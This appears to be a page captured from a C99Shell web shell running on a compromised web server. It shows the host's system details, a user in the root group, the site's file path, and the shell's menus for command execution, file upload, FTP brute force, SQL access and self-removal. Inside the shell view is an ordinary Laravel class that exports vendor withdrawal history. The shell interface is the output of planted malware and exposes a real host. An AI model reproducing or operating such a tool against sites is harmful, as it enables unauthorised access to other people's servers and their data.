!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Exports/   drwxr-xr-x
Free 25.96 GB of 117.98 GB (22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VendorWithdrawalHistoryExport.php (2.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package VendorWithdrawalHistoryExport
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 22-02-2022
 */
namespace App\Exports;

use 
App\Models\{Transaction};
use 
Maatwebsite\Excel\Concerns\{
    
FromCollection,
    
WithHeadings,
    
WithMapping
};

class 
VendorWithdrawalHistoryExport implements FromCollectionWithHeadingsWithMapping
{
    
/**
     * [Here we need to fetch data from data source]
     * @return [Database Object] [Here we are fetching data from User table and also role table through Eloquent Relationship]
     */
    
public function collection()
    {
        return 
Transaction::where(['user_id' => auth()->user()->id'transaction_type' => 'Withdrawal'])->get();
    }

    
/**
     * [Here we are putting Headings of The CSV]
     * @return [array] [Excel Headings]
     */
    
public function headings(): array
    {
        return [
            
'Currency',
            
'Method',
            
'Amount',
            
'Fee',
            
'Total',
            
'Type',
            
'Date',
            
'Updated At',
            
'Status'
        
];
    }
    
/**
     * [By adding WithMapping you map the data that needs to be added as row. This way you have control over the actual source for each column. In case of using the Eloquent query builder]
     * @param [object] $WithdrawalHistory [It has transaction table info and currency table info]
     * @return [array]            [comma separated value will be produced]
     */
    
public function map($withdrawal): array
    {
        return [
            
optional($withdrawal->currency)->name,
            
optional($withdrawal->withdrawalMethod)->method_name,
            
formatCurrencyAmount($withdrawal->amount),
            
formatCurrencyAmount($withdrawal->charge_amount $withdrawal->commission_amount $withdrawal->discount_amount),
            
formatCurrencyAmount($withdrawal->total_amount),
            
$withdrawal->transaction_type,
            
timeZoneFormatDate($withdrawal->transaction_date),
            !empty(
$withdrawal->updated_at) ? timeZoneFormatDate($withdrawal->updated_at) . timeZoneGetTime($withdrawal->updated_at) : '',
            
$withdrawal->status
        
];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--